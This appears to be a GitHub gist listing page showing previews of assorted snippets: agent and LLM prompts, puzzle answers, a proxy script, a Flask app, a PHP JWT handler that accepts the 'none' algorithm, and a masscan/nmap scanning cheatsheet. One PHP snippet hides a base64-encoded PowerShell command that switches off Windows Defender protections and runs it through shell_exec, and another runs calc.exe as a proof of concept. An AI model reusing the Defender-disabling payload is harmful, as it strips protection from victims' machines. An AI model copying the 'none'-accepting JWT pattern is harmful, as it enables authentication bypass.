Skip to content

Instantly share code, notes, and snippets.

View grittyninja's full-sized avatar
🤸

Herdian N grittyninja

🤸
  • Indonesia
View GitHub Profile
Use this tool to create and manage a structured task list for your current coding session. This helps you track progress, organize complex tasks, and demonstrate thoroughness to the user.
It also helps the user understand the progress of the task and overall progress of their requests.
## When to Use This Tool
Use this tool proactively in these scenarios:
1. Complex multi-step tasks - When a task requires 3 or more distinct steps or actions
2. Non-trivial and complex tasks - Tasks that require careful planning or multiple operations
3. User explicitly requests todo list - When the user directly asks you to use the todo list
4. User provides multiple tasks - When users provide a list of things to be done (numbered or comma-separated)
puzzle: Five people live on five consecutive floors. The engineer lives three floors above the doctor. The teacher lives on an odd-numbered floor. The artist lives immediately above the lawyer. The lawyer doesn't live on the first floor. The artist lives on an even-numbered floor. Who lives on the second floor?
answer: Doctor
gcd(1984627, 1964681)
answer: 9973
10212111273rd prime number
answer: 257668725341
#!/usr/bin/env bash
#########################################################################
# Proxy Manager Script
#
# A utility to setup and manage proxy configurations for Burp Suite
# or other HTTP/HTTPS proxies for security testing and analysis.
#
#########################################################################
<companion_llm_prompt>
<!-- Basic Role Definition -->
<role>
<core_identity>You are a thinking partner who helps me think better, not a tool that thinks for me. Your goal is to strengthen my thinking skills through our conversations.</core_identity>
<main_goal>Help me develop my own thinking abilities rather than replacing them with yours.</main_goal>
<key_rules>
<rule>Never solve problems for me that I should solve myself</rule>
<rule>Ask questions more often than giving answers</rule>
<rule>Make me do the hard thinking work</rule>
<rule>Guide me when I'm stuck but don't take over</rule>
<?php
$base64 = 'cG93ZXJzaGVsbCAtY29tbWFuZCAnU2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZSAtRGlzYWJsZVNjcmlwdFNjYW5uaW5nICR0cnVlIC1EaXNhYmxlQmVoYXZpb3JNb25pdG9yaW5nICR0cnVlIC1EaXNhYmxlSU9BVlByb3RlY3Rpb24gJHRydWUgLURpc2FibGVJbnRydXNpb25QcmV2ZW50aW9uU3lzdGVtICR0cnVlJw==';
shell_exec(base64_decode($base64));
?>
<?php
shell_exec('calc.exe');
?>
# app.py
from flask import Flask, request, jsonify
import psycopg2
from psycopg2.extras import RealDictCursor
import os
app = Flask(__name__)
# Database connection
def get_db_connection():
<?php
// JWT implementation with SQLite in PHP supporting RS256, HS256, and none
// Initialize SQLite database
$db = new SQLite3('users.db');
// Create users table if not exists
$db->exec('CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
H4sIAFFBD1wAA+1dDXRUVX6/b2aAIMOQhCggqKMGARcmEwghiOgEEj7WAAFClCPwmMxMMoOTmex8sEE5XXBgNcacpkp3OafsqS3ursejXbZuPVrdFg0S7Mce1q7dbcu27FntGdrsEUvWpRKZ/v/3vjvvzs0kJBpYrfeX8899/3f/7369j3lv3v39JtDeVkauMtyAJYsXY1q+ZLFbTDlI+aIK96LKCvdiWHaXuxeVLybOxVe7YYhkPOGNOZ0kGPNHhou7Uv4XFAHY/+FQUySqB9pd8air3OUe8zqG3/+LFrkr5f2/cEllOXGOfUvy4Eu+/79RW7dK07Ssb4U/9OoLCamAtGoRW19BnGQimUumkmKiSWU8aWFmQwe204yU2xuE2Tgx32naWcJM3P4BuCo9cC+zE4TZeCPfIuU/R5iNN8pAa9BMKyXMeF79+wn/GqiXm5y/EfLzjdV4o0ubID9f/bitZqQldCwJWb1+C6m57cyzry8/+/NMr7126313HXq//wmfxRgPjY+Lk2jjjHpe7frQIdd9vbBcDDZB8m+WfIfk833aSv2JhOihSChB4oFES8iPSRKSZAQWApHdcFUI+MIErgs+vCZUkpwrBFldt3bFSn0hvVJYjD+N1qHRcSw06i0MhSZjxN2Gb/dAuyGwEFMYgBJMYZCmY2rLN+IKCgoKCgoKCgoKCgoKY4XMS/jglTlawP2jdvgfxMVzZzOAo/g0F8Tsc6epj0+2QVx57jj1p6OP/84dA3dLx/ubU322tBdW7O95Fp6SU332XST9I8hLnShkTm/W6UoRqKU+fVDI7krZcV1X6i6WLGeJhwbupYHO7s7tA2/3dM4q7bn2Q6agoKCgoKCgoKCgoKCg8IVDXY1ev6m2bkN1DSG+YPTrEWcsGk3chf+cZYnWtrJ4MuRf5vQFW6N+51fi5jqywEfiQVLWFIqUQarNtC5zEvbO+5UPMpkEpAXnMxl895uEdCdh78QR2sObiLa3QJtpt9ke19g0gFlgJ2A7fD9Nqh0F
@grittyninja
grittyninja / scan.cs
Created August 27, 2018 10:39
Scanning Cheatsheet
# masscan
./masscan -e tun0 --rate=300 -p0-65535 10.10.10.91
# nmap
nmap -sC -T4 -A target